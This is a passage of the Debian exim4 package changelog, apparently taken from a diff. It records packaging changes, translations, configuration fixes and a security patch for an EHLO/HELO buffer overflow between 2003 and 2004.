empty tls_verify_certificates file is correctly interpreted as empty + list instead of breaking TLS. (Closes: #236478) + * Korean translation of debconf templates by Changwoo Ryu (Closes: #241499) + * Minor changes to rcpt_acl: + * add missing message = qualifiers. (Closes: #240862) + * resync against upstream default, incorporating change 4.23/30, allowing + "/" and "|" in nonlocal addresses. + + -- Andreas Metzler <ametzler@debian.org> Mon, 5 Apr 2004 12:00:54 +0200 + +exim4 (4.30-8) unstable; urgency=low + + * remove dc_never_users from /etc/exim4/u-ex.conf.conf and the corresponding + pattern DEBCONFnever_usersDEBCONF from the template. The code is + superfluous since 4.24 introduced FIXED_NEVER_USERS and was broken, user + changes were not preserved. (am) + * Link against libmysqlclient10 instead of libmysqlclient12 to circumvent + symbol-clashes when using PAM with libpam-mysql. (Closes: #235938) (am) + * Dump temporary build-conflict with broken po-debconf. (am) + * Copy ugly passwd-dependency from -base to -config. (am) + * Do not throw away adduser's errormessages. Together with the added + dependency noted above this (Closes: #237657). (am) + * Installed copy of default configuration-file (example.conf) refered to the + temporary install-directory. Ugly hotfix. (Closes: #236483) + * Italian translation of debconf templates by Danilo Piazzalunga. + (Closes: #237500) + * Rewrite generation of /etc/aliases because it was broken when running + under debbian-installer/debootstrap, which installs the packages with + DEBIAN_FRONTEND=nointeractive and reconfigures them later (report by + Florian Effenberger). (am) + Instead of generating it _once_ and touching it never again ask for and + add alias for root if it is missing. Debconf template + exim4/dc_noalias_regenerate is not used any more. (Closes: #237524) + * Norwegian BokmÃ¥l translation of debconf templates by Steinar H. Gunderson. + (Closes: #237680) + * Dump local_scan perl-plugin. Upstream development has stopped. (am) + * Maintainer scripts now run with -x if environment variable EX4DEBUG + is set (mh). + * Minor clarifications of debian/README (mh). + * rm -rf Local on debian/rules clean (mh). + * Swedish translation of debconf templates by André Dahlqvist. + (Closes: #238987) + * Portuguese (pt) translation of debconf templates by Nuno Sénica. + (Closes: #239030) + * Lithuanian translation of debconf templates by KÄ™stutis BiliÅ«nas. + (Closes: #239118) + * Add examples for client certificate-checking by J.H.M. Dassen (Ray) + (Closes: #236609) + * Adapt README.* to /etc/exim4/exim4.conf.template (am) + * Update to exiscan v16 + + -- Andreas Metzler <ametzler@debian.org> Wed, 24 Mar 2004 15:39:35 +0100 + +exim4 (4.30-7) unstable; urgency=low + + * 4.30-6 was rejected, we use | and || for OR in dependency fields. + * libldap2 now uses GnuTLS10. Follow suit. (Temporarily bumped libldap2-dev + build-dependencies for paranoia's sake.) + + -- Andreas Metzler <ametzler@debian.org> Mon, 23 Feb 2004 17:03:58 +0100 + +exim4 (4.30-6) unstable; urgency=low + + * Finnish translation of debconf templates by Tapio Lehtonen. + (Closes: #229792) + * Simplified Chinese translation of debconf templates by Carlos Z.F. Liu. + (Closes: #229910) + * Spanish translation of debconf templates by Javi Castelo. (Closes: #232207) + * To increase robustness set explicit "domains = +local_domains" on all the + routers that are supposed to be handling _only_ local mail (i.e. anything + after dnslookup or smarthost) instead of relying on the no_more. + + If the router handling remote addresses was modified by adding a + precondition the address would have wrongly been handled by the later + routers if the precondition failed, breaking at least "verify = sender". + (Closes: #230403) (am) + * In the data ACL add a Message-ID header to mails injected with SMTP from + +relay_from_hosts. (Exim stopped doing this by default in 4.30.) (mh) + * binary-all metapackage exim4 does not depend anymore on exim4-base with + exactly the same version. There is no necessity for dependencies that + strict and it broke both binary NMUs and installability on lagging + architectures. (Closes: #231678) (am) + * Give way to the "I use sid but keep it outdated by not running apt-get + upgrade ever."-fraction. exim4-base now depends on working versions of + passwd i.e. the version in woody or the one that has been in sid + for more than 6 months. (Closes: #230423,#230836,#231111) (am) + * in source-package symlink identical maintainerscripts. (am/mh) + * Ship README.Debian.xinetd, explaning why we do not use (x)inetd and how to + use xinetd properly if you insist. (Closes: #226627) + * Update Build-Depencies to fit the XFree86 4.3 packages. + * Make new lintian happy by quoting section and needs in eximon's + menu-file. + + -- Andreas Metzler <ametzler@debian.org> Mon, 23 Feb 2004 15:48:56 +0100 + +exim4 (4.30-5) unstable; urgency=low + + * Only use db_settitle if available (Closes: #226992) (am) + * Up to date debconf translations for all nine supported languages, thanks + to the translators: Miroslav Kure (Czech), Claus Hindsgaul (Danish), + Konstantinos Margaritis (Greek), Christian Perrier (French), + Kenshi Muto (Japanese), Bart Cornelis (Dutch), André LuÃs Lopes + (Brazilian Portuguese) and Ilgiz Kalmetev (Russian) (am) + * After merging translations split the configtype-template, using the + __Choices trick. I don't think I made any errors because podebconf's + output has not changed. (am) + * Don't use /etc/mailname (DEBCONFvisiblenameDEBCONF) as primary_hostname + for minimaldns option. (Closes: #225477) + * (Re)introduce /etc/exim4/exim4.conf.template as alternative to the + multiple small files in /etc/exim4/conf.d/ and make it the default choice + for fresh installations. This trades in a loss of comfort (you will again + need to merge in each small change manually) for increased stability. + (Closes: #224828) (am) + * Disable piping to programs in /etc/aliases per default, because they would + run as Debian-exim:Debian-exim per default. Add README.system_aliases + suggesting dedicated router/transport pairs (am/mh) (Closes: #228062) + * modify create-custom-package and adapt debian/rules to allow + building multiple named custom packages in a single build. (mh) + * "dpkg-reconfigure exim4-config" actually tells exim4 to read the updated + configuration. (am) + * Use -qqf instead of -qf in the ip-up.d file to force delivery of all + messages over a single SMTP connection. (Closes: #228001) + + -- Andreas Metzler <ametzler@debian.org> Wed, 21 Jan 2004 15:09:00 +0100 + +exim4 (4.30-4) unstable; urgency=low + + * Updated Japanese debconf template translation by Kenshi Muto + (Closes: #224584) + * Remove bashism from update-exim4.conf (Closes: #224617) (Jochen Voss) + * Czech translation of debconf templates by Miroslav Kure (Closes: #225713) + * Fix typos in README.Debian. (Closes: #225149) (Vincent Lefevre) + * Replace first, too long debconf question with three short ones (Joey + Hess) (Closes: #222720) + * Use a custom debconf title. (Closes: #222715) + * Greek translation of debconf templates by Konstantinos Margaritis + (Closes: #226844) + + -- Andreas Metzler <ametzler@debian.org> Fri, 9 Jan 2004 09:12:07 +0100 + +exim4 (4.30-3) unstable; urgency=low + + * update debian/copyright from NOTICE. (No substantial changes, credits + for new code) (am) + * missing \| made exim4-base.postinst configure hang. (Closes: #224294) (am) + * update-exim4.conf: Don't try chown if not running as root. (mh) + * Remove useless definition of an auth_over_tls_hosts hostlist in + 03_exim4-config_tlsoptions. - It was probably a leftover from somebody + running convert4r4. (am) + * Make it possible to override spooldir in another config-file snippet, too. + (Closes: #223973) + + -- Andreas Metzler <ametzler@debian.org> Fri, 19 Dec 2003 15:27:50 +0100 + +exim4 (4.30-2) unstable; urgency=low + + * Fix exim4-base.logrotate to create logfiles accessible for the new + exim-user. (Closes: #223860,#223862) + * comment in 03_exim4-config_tlsoptions refered to the user "mail" too. + + -- Andreas Metzler <ametzler@debian.org> Sat, 13 Dec 2003 15:01:20 +0100 + +exim4 (4.30-1) unstable; urgency=low + + * Exim now runs under its own uid (Debian-exim) instead of using + mail:mail. (am) + + WARNING: You cannot downgrade this version to an older one without + manual chown|chgrp all files owned by Debian-exim to mail. + + - control: dependency on adduser and virtual package exim4-config-2 to + force review of external -config packages. + - use a statoverride for passwd.client. + - different postinst scripts: + * adduser. + * chown|chgrp files/directories owned by mail (group|user) to + Debian-exim. + * update-exim4.conf does not exit immidiately if /etc/exim4/exim4.conf + exists AND -o is specified. (Bill Moseley) + * Brazilian Portuguese debconf template translation by André LuÃs Lopes + (Closes: #219781) + * Dutch debconf template translation by Bart Cornelis (cobaco) + (Closes: #220694) + * Pull Dansk debconf template translation from ddtp. + * Use a macro to make it possible to overide the value of spool_directory + with -DSPOOLDIR=. Needed for mailscanner, (Closes: #221468), suggested by + Matthias Klose. + * enable support for Cyrus saslauthd (package sasl2-bin, + /var/run/saslauthd/mux) for SMTP AUTH against /etc/shadow. (am) + * Christian Perrier has reviewed the debconf-templates and changed them to + follow the "Debconf Templates Style Guide". (Closes: #221838) Thanks to + the (ru|nl|fr|pt_BR) translators for updating their translations. + * New upstream version 4.30 with exiscan 4.30-14 (am) + - option table for -d in exim(8) readable (but not perfect). + (Closes: #214853) + - Messages for configuration errors now include the name of the main + configuration files (Closes: #202136) + - does not reject IPv6 address literals in EHLO/HELO anymore + (Closes: #222521) + * exim4-config.config: support going back to previous *package* when invoked + by base-config 2.0. (Closes: #222773). Suggested by Joey Hess. (am) + * exim4-config now conflicts with non-exim4 packages providing MTA, to keep + dselect from automatically installing it (and -base) on dist-upgrades on + systems that use a different MTA. (mh) + * exim4-base depends on netbase again because exim requires + /etc/services.(mh) + * reindent init-script with two spaces instead of tabs to fit it in 80 + chars/line. (Closes: #221458) + + -- Andreas Metzler <ametzler@debian.org> Mon, 8 Dec 2003 16:52:32 +0100 + +exim4 (4.24-3) unstable; urgency=low + + * rename create-custom-package to create-custom-config-package (mh) + * add create-custom-package to create renamed exim4-daemon-custom (mh) + * README.TLS: Don't suggest to use commands messing up the local terminal + (Sander Smeenk) + * Pull Dansk debconf translation from ddtp (not yet up to date) + * correct last references to uncompressed /u/s/d/e/README.Debian + (Closes: #216639), also kill references to exim-tls. (Closes: #216979) + (Kevin "Starfox" Arima). (am) + * add exim4-config-medium template package to sources, document (mh) + * Update to exiscan 4.24-13 (bugfix-release). + * Ask about mailname after configtype. (Closes: #217931) (am) + * minor thinko in debconf "local mail only"-config. (am) + * update-exim4.conf: now add comment indicating the source file + (Closes: #202040) (mh) + * add --confdir option to update-exim4.conf (mh) + * add "nodaemon" and "queueonly" option to /etc/default/exim4 and + init script (mh). + * Fix po2debconf on woody systems with old debhelper and po2debconf. (am) + * exim4-config does not depend on exim4-base. (am) + * Use "command -v" to check for existence of invoke-rc.d instead of + hardcoding its path. (am) + * Russian debconf translation by Ilgiz Kalmetev (Closes: #219101) + + -- Andreas Metzler <ametzler@debian.org> Tue, 4 Nov 2003 12:18:38 +0100 + +exim4 (4.24-2) unstable; urgency=low + + * Grammar of debconf-templates rectified by Ben Foley. + * Handholded by Denis Barbier I have imported debconf translations from + postfix: fr.po (Philippe Batailler), ja.po (Kenshi Muto), nl.po (Bart + Cornelis) and pt_BR.po (André LuÃs Lopes). It is just 5 translated + messages, 4 fuzzy translations, but it's a start. + * No more first person in debconf-templates (Adam D. Barratt) + * README.TLS was updated. + * pseudopackage libxaw-dev is gone in sid (and libxaw7-dev is already + available in woody) - Removed from build-depends. + * French debconf translation by Christian Perrier (Thanks for the other + hints, too.) + * Build-Conflict with broken po-debconf (= 0.8.0). (Closes: #215432) + * Add menu-entry for eximon (Artur R. Czechowski) (Closes: #215579). + * Resolve name-clash between client- and server-side authenticators (Bug + found by Rob Ristroph) + + -- Andreas Metzler <ametzler@debian.org> Wed, 15 Oct 2003 12:45:49 +0200 + +exim4 (4.24-1) unstable; urgency=low + + * New upstream version + - 55_fixesfrom-4.23.dpatch is not needed anymore. + - most interesting new feature: $acl_xx are now saved with the + message, and can be accessed later in routers, transports, and filters. + - Cannot run deliveries as root anymore. If you don't redirect mail for + root via /etc/aliases or other means to a nonpriviledged account the + mail will be delivered to /var/mail/mail with permissions 0600 and owner + mail:mail. Change to local_user router to keep it from trying to route + mail for root. + * debconf for exim4-config pointed to /u/s/d/e/README.Debian but the + file is available as README.Debian.gz (Closes: #211934) + * exim(8) manpage provides correct NAME section for mailq/runq/... to + generate corresponding whatis/apropos info (Thanks to Dan Jacobson + <jidanni@jidanni.org> for mentioning lexgrog(1)) + * polish and crosslink documentation about SMTP AUTH in config-files, + documentation and debconf templates. (Closes: #202920) + * Ship README.SIEVE (Thanks to Ross Boylan) + * Sync some debconf templates against the respective ones in postfix + 2.0.16, to limit the work of translators. + * update-exim4defaults/init-script: Add a new value fuer QUEUERUNNER, + "ppp". - Don't run queue by daemon but still run it from + /etc/ppp/ip-up.d/exim4. (Dan Jacobson pointed out that this was very + akward to accomplish with old setup.) update-exim4defaults now exits with + an error if the argument for --queuerunner is invalid. + * Enable gettext-style localisation of debconf templates with + compatibility code for woody + * Add German debconf-translation. (Some strings were copied from Martin A. + Godischs translation of postfix's templates). + + -- Andreas Metzler <ametzler@debian.org> Sun, 5 Oct 2003 13:41:30 +0200 + +exim4 (4.22-5) unstable; urgency=low + + * Sorry, this is not 4.23. Tom is on holidays and because 4.23 changes + some ACL code, exiscan needs in depth checking and not just applying the + patch by hand. + * exim4-config conflicts with bash (<< 2.05), because it cannot handle + aliases in functions. This does not necessarily fix dist-upgrades + from potato to sarge because debconf-config might happen before the + new bash is installed but will keep people running potato from + trying to install exim4-config. (Closes: #209720) + * sanitize /usr/sbin/exim4's permissions, building with 007 umask + could have installed it -rws--x--x + * evaluation -oP option for specifying pid-file is broken in 4.22, use fix + from 4.23 (Closes: #210847) + * "warn log_message blah" in DATA acl triggered dumping of full headers + to reject.log, although the message was not rejected by this acl + statement. Take fix from 4.23. (Closes: #208782) + * On cross-upgrades from exim3 unfold lines continued with a backslash + in the old exim3 configuration before trying to parse it to preanswer the + debconf-questions. (Closes: #210404) First instance of using perl in our + maintainer-scripts, but I could not do it with sed. + + -- Andreas Metzler <ametzler@debian.org> Fri, 19 Sep 2003 13:55:07 +0200 + +exim4 (4.22-4) unstable; urgency=low + + * Update to exiscan-acl revision -12. (Emergency fix: When you were using + 'discard', and it was the last verb affecting a message, the mbox spool + files in the scan directory were not cleaned up.) + * Add syslog2eximlog by Martin Godisch, a script to make logfiles produced + with exim option "log_file_path = syslog" readable for eximstats. + (Closes: #208524) + * Enhance description of -heavy and light a little bit. (Closes: #208404) + * Standards-Version: 3.6.1, no changes required, we already prompt with + debconf. + + -- Andreas Metzler <ametzler@debian.org> Thu, 4 Sep 2003 19:19:25 +0200 + +exim4 (4.22-3) unstable; urgency=low + + * Add copright notice of exiscan-acl to debian/copyright. + + -- Andreas Metzler <ametzler@debian.org> Wed, 27 Aug 2003 17:49:46 +0200 + +exim4 (4.22-2) unstable; urgency=low + + * Include exiscan-acl patch 4.22-10 http://duncanthrax.net/exiscan-acl/ + in -heavy and -custom (Closes: #204698) + * clean up gnutls-params on purge of base-package. + + -- Andreas Metzler <ametzler@debian.org> Wed, 27 Aug 2003 12:50:59 +0200 + +exim4 (4.22-1) unstable; urgency=low + + * new upstream version 4.22. Please take a look at README.UPDATING + and NewStuff in /usr/share/doc/exim4-base/ + + -- Andreas Metzler <ametzler@debian.org> Mon, 18 Aug 2003 16:51:47 +0200 + +exim4 (4.20-5) unstable; urgency=low + + * Fix EHLO/HELO buffer-overflow CAN-2003-0698 (Closes: #205716) + * exim-gencert was using '.' as separator for chown. + * "head -n 1" instead of "head -1" in scripts + * install /etc/exim4/passwd.client as root:mail 0640 (Closes: #205104) + (it needs to be readable for the exim-user or -group, i.e. mail:mail) + * set mode_fail_narrower = false for mail_spool and maildir_home transports + (Closes: #204228) + * Standards-Version: 3.6.0, no changes required. + + -- Andreas Metzler <ametzler@debian.org> Sat, 16 Aug 2003 17:40:17 +0200 + +exim4 (4.20-4) unstable; urgency=low + + * CFILEMODE and dc_local_interfaces were not saved in update-exim4.conf.conf + on fresh installations. + * update-exim4.conf: Remove comments _after_ doing DEBCONFpatternDEBCONF + replacement. + * conf.d/auth/30_exim4-config_examples: Fix forced failure of AUTH LOGIN + client on non-encrypted connections. + + -- Andreas Metzler <ametzler@debian.org> Tue, 5 Aug 2003 10:38:16 +0200 + +exim4 (4.20-3) unstable; urgency=low + + * hub_user router: set correct .ifdef, remove superficial condition= + * don't generate main/03_exim4-config_neverusers dynamically, use + a DEBCONF_foo pattern that is replaced by up-ex4.conf. exim4 should + now play nicely with readonly /etc. + * Enable exim-filter in .forward per default. (Closes: #201827) + * Enable maildrop-delivery for users with ~/.mailfilter + * Easier setup of client side SMTP authentification: + -short README file. + -passwd.client example shipped in CONFDIR + -30_exim4-config_examples: + +change order, prefer cram-md5. + +enable by default (auth-plain and -login only for TLS protected + connections). They remain inactive while hosts_try_auth is + disabled. + * add comments listing the filename to the files in conf.d that were + changed anyway. Addresses part of 202040. + * remove misleading comments about "bottom of file" or "see below" + from config-snippets. (Closes: #202165) + * Disable orphaned inetd-entries from exim (v3) caused by bugs #202670 and + #182206 in exim4-config's postinst. I'll close #201143 manually. + * Restructure and clarify README.Debian and polish update-exim4.conf(8). + Thanks to Ross Boylan for pushing me in the correct direction. + + -- Andreas Metzler <ametzler@debian.org> Thu, 24 Jul 2003 10:29:19 +0200 + +exim4 (4.20-2) unstable; urgency=low + + * update-exim4.conf works without daemon-package (Closes:#195329) + * Add dnslookup_relay_to_domains router for "internet" config to + allow relaying for domains with an MX pointing to an rfc1918 + address. (Closes: #198410) (MH) + * update-exim4.conf would hang if one of the subdirectories in conf.d + was empty. (Report and fix by Marc Merlin) + * Build-Depend on libgnutls7 + * Preserve comments in update-exim4.conf.conf by first adding missing + items and replacing the values with sed instead of regenerating file + from scratch (Closes: #184099) + * Set return_path_add, delivery_date_add and envelope_to_add for + maildir-transport (Closes: #196178) + * Use email-addresses file in /etc/ instead of in /etc/exim4 as exim3 does, + exim4-config now needs to conflict with exim,exim-tls. We still include + code for evaluating the old file if it exist, but suggest moving the + contents to the new file in NEWS.Debian. postinst will remove old orphaned + file if it is unmodified. (Closes: #197136) + * Set return_fail_output instead of return_output on address_pipe transport. + (Closes: #201280) + * Stop generating rewriting rules dynamically, exim4 accepts any + "address-list" item as source-pattern for rewriting. (Changelog entry + obfuscated on purpose, read exim4debian for painful details.). Remove old + dynamically generated files in postinst if they were managed by upex4conf. + * daemon-light supports TLS (Closes: #193596) + + -- Andreas Metzler <ametzler@debian.org> Wed, 16 Jul 2003 13:36:27 +0200 + +exim4 (4.20-1) unstable; urgency=low + + * New upstream + * Standards-version 3.5.10 (no changes required) + * The doc packages have got new sane names - update Suggests. + * Fix a endless loop (currently ownly showing when upgrading from old + experimental packages) - Thanks to Marc Langer for the report. + * introduce ${Upstream-Version} as substitution variable for + debian/control (MH) + * Make dependencies less strict, *-daemon-* 12.34-1 can be installed with + -base 12.34-5. + + -- Andreas Metzler <ametzler@debian.org> Mon, 19 May 2003 14:14:16 +0200 + +exim4 (4.14-1) unstable; urgency=low + + * Upload to sid (Closes: #179066) + * Ship an (empty) acl_check_data with commented out examples. Add + Infrastructure to ease their activation. (MH) + + -- Andreas Metzler <ametzler@debian.org> Fri, 16 May 2003 18:02:46 +0200 + +exim4 (4.14-0.6) experimental; urgency=low + + * Don't link to gnutls' (tasn,gcrypt) dependencies directly + (Closes: #193018) + * fix AUTH PLAIN server side example to work if the data is not given + in initial-response (exim-bug 193094) + * ACL-updates (MH) + + -- Andreas Metzler <ametzler@debian.org> Wed, 14 May 2003 12:16:06 +0200 + +exim4 (4.14-0.5) experimental; urgency=low + + * updated version of dlopen patch (Marc Merlin) + * don't regenerate files managed by update-exim4.conf on package + updates if the local admin had deleted them. + * replace the listenonpublic yes/no question with one that allows one to + specify on which interfaces to listen to (Closes: #190498) + * new dc-question for dial-on-demand-users to minimize DNS lookups + + -- Andreas Metzler <ametzler@debian.org> Thu, 1 May 2003 16:03:59 +0200 + +exim4 (4.14-0.4) experimental; urgency=low + + * Renamed conf.d files from *exim4-base* to *exim4-config* since + they can now be found in the exim4-config package. + WARNING, this breaks updates. After installation, execute + something like the following bash snipped to rename your files: + for i in `find . -name *exim4-base*`; do mv $i ${i/exim4-base/exim4-config}; done + (MH) + * Include more sophisticated check_rcpt ACL, include documentation, + include even more sophisticate check_rcpt ACL in + /u/s/d/e4-config/examples/acl. (MH) + * update-exim4.conf now filters out consecutive empty lines (MH) + * make update-exim4.conf's behaviour for configtype=none more consistent, + respect CFILEMODE and --removecomments. (Thanks to Marc Merlin) + * add warning about editing /etc/exim4/exim4.conf in place (Marc Merlin) + * use .rul instead of .disabled to override/disable configfiles in + /etc/exim4/conf.d/ (Suggested by Marc Merlin) + * fix smtp auth client-side examples (Closes: #188828), thanks to Karl + M. Hegbloom for the bug report (AM) + * add @DPATCH@-tag to patches, as required by dpath-edit-patch in + dpatch 1.17 (AM) + + -- Andreas Metzler <ametzler@debian.org> Fri, 25 Apr 2003 12:37:50 +0200 + +exim4 (4.14-0.3) experimental; urgency=low + + * add '|| true' to every call of db_input. (Thanks to Pierfrancesco Caci for + the bugreport.) (Closes: #187008) + * Don't set received_header_text in 02_exim4-base_options, use upstream's + default. + * renumber routers to have more space for local customization. + WARNING WARNING upgrade is broken, execute this in + /etc/exim4/conf.d/router to get rid of the superfluous files: + mv 20_exim4-base_domain_literal 100_exim4-base_domain_literal + mv 22_exim4-base_primary 200_exim4-base_primary + mv 24_exim4-base_real_local 300_exim4-base_real_local + mv 26_exim4-base_system_aliases 400_exim4-base_system_aliases + mv 28_exim4-base_hubuser 500_exim4-base_hubuser + mv 30_exim4-base_userforward 600_exim4-base_userforward + mv 32_exim4-base_procmail 700_exim4-base_procmail + mv 34_exim4-base_maildrop 800_exim4-base_maildrop + mv 36_exim4-base_local_user 900_exim4-base_local_user + * add *syntax_errors* directives to userforward router, to use partially + valid .forward files instead of skipping them. (Marc Haber) + * update mysql build-depends + + -- Andreas Metzler <ametzler@debian.org> Wed, 9 Apr 2003 16:19:46 +0200 + +exim4 (4.14-0.2) experimental; urgency=low + + * upstream fix for crash with AUTH PLAIN + * upgrade to policy 3.5.9.0 (CFLAGS in debian/rules) + * Add (maildir) transport for handling file addresses generated by + alias or .forward files if the path ends in "/", enabled for .forward per + default, but not for /etc/aliases. Thanks to Andreas Horter. + * add debconf question to move files from exim3 spool to exim4 spool + * run exim_tidydb as mail:mail using start-stop-daemon + * Make manpages UTF-8 compatible with nicer quotes and escaped dashes. + * fakeroot debian/rules builddaemonpackages=exim4-daemon-custom \ + buildbasepackages=no binary produced a broken exim4-config package. + (Bug found by Soren Andersen) + * introduce new replacement item DEBCONFpackageversionDEBCONF holding + the complete version number, might be useful for Received headers (Marc + Haber) + + -- Andreas Metzler <ametzler@debian.org> Thu, 27 Mar 2003 17:04:02 +0100 + +exim4 (4.14-0.1) experimental; urgency=low + + * New upstream version + * 20_fix.lsearch.dpatch not needed anymore + * use new feature .ifdef instead of simulating it with condition=... + * change priority of exim4-daemon-light to important + + -- Andreas Metzler <ametzler@debian.org> Thu, 13 Mar 2003 15:03:41 +0100 + +exim4 (4.12-0.2) experimental; urgency=low + + * instead of generating 22_exim4-base_primary by copying the correct + file into it, use condition=... to select the correct one. Similar + change to 28_exim4-base_hubuser + + -- Andreas Metzler <ametzler@debian.org> Thu, 6 Mar 2003 11:55:55 +0100 + +exim4 (4.12-0.1) experimental; urgency=low + + * minimal doc-updates + * init-script: output status-message before starting upex4conf() + * polish smtp-auth examples - don't hardcode passwords in main + configuration file. + * change default file-permissions of configfile to 0644. This can be changed + by setting CFILEMODE in the default file. + * rename debian/patches/*, giving each one an unambiguous number + * ignore private rfc1918 and APIPA addresses in internet router (MH) + * correct info about authorship of dlopen patch + * don't link exim4-daemon-light against PAM (explicitly link it against libdl) + * same_domain_copy_routing = yes for primrout-internet, primrout-satellite + and primrout-smarthost (MH) + * rename debconf.results to update-exim4.conf.conf, add upgrading-magic for + upgrading from 4.12-0 and earlier (marked as REMOVEMEBEFORERELEASE) + * introduce REMOVEMEBEFORERELEASE-tag, grep -r on debian/ will show us all + the cruft that needs to be removed before uploading to unstable. + + -- Andreas Metzler <ametzler@debian.org> Wed, 5 Mar 2003 19:03:59 +0100 + +exim4 (4.12-0) experimental; urgency=low + + * removed TODO marker from the copyright file + * version number for first Debian upload + * built i386 binary package on sid + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 21 Feb 2003 14:40:42 +0100 + +exim4 (4.12-0.0.21) experimental; urgency=low + + * update copyright + * exim-gencert: generate certificates valid for three years instead 30 + days + * remove debian/debconf/exim4.conf.template + * enable LMTP, LOOKUP_NIS and mailstore for daemon-light + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 21 Feb 2003 12:55:40 +0100 + +exim4 (4.12-0.0.20) experimental; urgency=low + + * ship /usr/lib/exim4/exim4 and use it to check whether daemon package + is installed. + * Exim doesn't require a HUP after logrotation. (See spec 44.2) (MH) + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 20 Feb 2003 19:23:45 +0100 + +exim4 (4.12-0.0.19) experimental; urgency=low + + * Ship upstream-changelog only in exim4-base, Symlinks in packages depending + on it. Split off changelog entries up to 3.34-1 to changelog.Debian.old + which is only included in exim4-base. - Spares about 100KB. + * Ship ACKNOWLEDGMENTS in exim4-base docs. + * remove debian/exim4-config.docs, files are already shipped in exim4- + base + * disable some the unneeded dh_* commands from binary-indep target. + * make exim4 a metapackage + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 20 Feb 2003 12:41:17 +0100 + +exim4 (4.12-0.0.18) experimental; urgency=low + + * split off all configuration to exim4-config + * include exim4-config-simple source package + * include script to generate exim4-config source package + * changed distribution to experimental + * Add patch by Phil Hazel to fix lsearch*@ lookups. (AM) + * Remove exim4-daemon-perl; merge it into exim4-daemon-heavy (AM) + * Prepare removal of "exim4" daemon-flavour: Exchange the roles of + "exim4" and "exim4-daemon-light" in debian/rules: build helper + binaries, eximon, et.al. while building exim4-daemon-light. Rename + EDITME.exim4-base.diff to EDITME.exim4.diff. (AM) + ----- + WARNING: This breaks your debian/EDITME.exim4-custom.diff, as it was + generated to show the differences to debian/EDITME.exim4-base instead of + EDITME.exim4-light. (AM) + ----- + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 18 Feb 2003 16:16:45 +0100 + +exim4 (4.12-0.0.17) unstable; urgency=low + + * mv 26_exim4-base_aliases 26_exim4-base_system_aliases (MH) + * mv 30_exim4-base_forward 30_exim4-base_userforward (MH) + * WARNING: upgrades are broken! + -After ugrading delete conffiles no longer in package in directories + below /etc/exim4/conf.d/: + router/26_exim4-base_aliases + router/30_exim4-base_forward + * all file names for transports and routers are now consistent with + Transport/Router defined inside (MH) + * add debug_print to all transports/routers (MH) + * add cut -d\ -f1 to all md5sum calls in pipes (MH) + * add man page for exiqgrep (MH) + * fix typos in exiqsumm and exicyclog man page (MH) + * Don't install exim.8.diff as manpage, apply the patch instead. (AM) + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Sat, 15 Feb 2003 16:35:26 +0100 + +exim4 (4.12-0.0.16) unstable; urgency=low + + * Define CONFDIR-macro and use it in update-exim4.conf and some files in + CONFDIR. (AM) + * Enhance update-exim4.conf: remove comments by default, allow to write + output to a different file. (AM) + * update-exim4.conf: check validity of configfile before installing it + * fix breakage with newer md5sum - thanks to Sander (AM) + * check in init-script for smtp-service in inetd that is compatible with + openbsd-inetd's extended syntax (Hubert Chan) (AM) + * Don't link against libwrap, exim3 doesn't either (Alexander Koch) (AM) + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Fri, 14 Feb 2003 19:55:54 +0100 + +exim4 (4.12-0.0.15) unstable; urgency=low + + * If exim4/dc_listenonpublic=false add an explaing line to the + resulting configfile instead of a blank-line (Marc Haber) + * In postinst and cronjob make sure that db files are owned by + mail:mail + * Add buzzword convert4r4 to description of "No configuration" profile + * Body of manpage exim_convert4r4: s/convert4r4/exim_convert4r4/g + * Change maintainer, add Marc Haber to Uploaders + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 2 Feb 2003 22:06:06 +0100 + +exim4 (4.12-0.0.14) unstable; urgency=low + + * fix bugs found by Marc Haber: + - search for email-addresses file in /etc/exim4/ + - s/hostname -fqdn/hostname --fqdn/ + * exim4-base.config: don't grep in /etc/aliases if does not exist yet. + * clear up config-script, using both $mailname and $dc_mailname was + irritating. + * fix wrong logic for aliases generation (= instead of !=) + * fix major breakage of debconf code: config-script is called two times + _before_ postinst writes debconf.results, db_set-commands (for sane + defaults) in the second-run overwrote the answers given by the user. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sat, 1 Feb 2003 15:06:58 +0100 + +exim4 (4.12-0.0.13) unstable; urgency=low + + * link against GNUTLS + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Fri, 31 Jan 2003 16:32:31 +0100 + +exim4 (4.12-0.0.12) unstable; urgency=low + + * clean up at purge: Remove logfiles, ask about removing + undelivered mails in spool directory. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Fri, 31 Jan 2003 13:32:37 +0100 + +exim4 (4.12-0.0.11) unstable; urgency=low + + * clean up update-exim4.conf: + + fix unconditional overwriting 03_exim4-base_neverusers + + one central `tempfile -m...` + + add skeleton function example + * add missing 'set -e' to exim4-base.postrm + * If there are no debconf answers and we are making a cross upgrade + from exim3, try to parse its config file to seed debconf db. + + -- Andreas Metzler <ametzler@downhill.at.eu.org> Sun, 26 Jan 2003 12:22:23 +0100 + +exim4 (4.12-0.0.10) unstable; urgency=low + + * Get rid of error messages: don't call chmod/chown in + debconf/update-exim4.conf if the respective files don't exist. Don't try + to kill non running daemons. + * Don't start unconfigured daemon in init script, ie. require either + ${dc_eximconfig_configtype}" != "xnone or existence of handcrafted + /etc/exim4/exim4.conf. + Thanks to Alexander Koch for firmly pushing me this way. + * dc_listenonpublic was overwritten to true in config script. + * Typo in exim4-base.postrm prevented removal of + /etc/exim4/conf.d/router/28_exim4-base_hubuser + * Clean up /var/spool/exim4 properly; at least if there are just empty + directories. + * hub_user was broken because of unescaped $. + * import updated 10_daemon_close_fds.dpatch from Steve. + * only set neverusers if root is aliased somewhere. + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 24 Jan 2003 17:14:13 +0100 + +exim4 (4.12-0.0.9) unstable; urgency=low + + * update-exim4defaults: Fix bugs, add option --init + * /etc/default/exim4 is no conffile anymore, it is generated with + update-exim4defaults. + + -- Andreas Metzler <ametzler@logic.univie.ac.at> Fri, 17 Jan 2003 13:39:46 +0100 + +exim4 (4.12-0.0.8) unstable; urgency=low + + * Don't ship now unneeded empty /var/lib/exim4/masquerade and + /var/lib/exim4/email_addresses + * move hub_user router to /etc/e4/c.d/ + * move 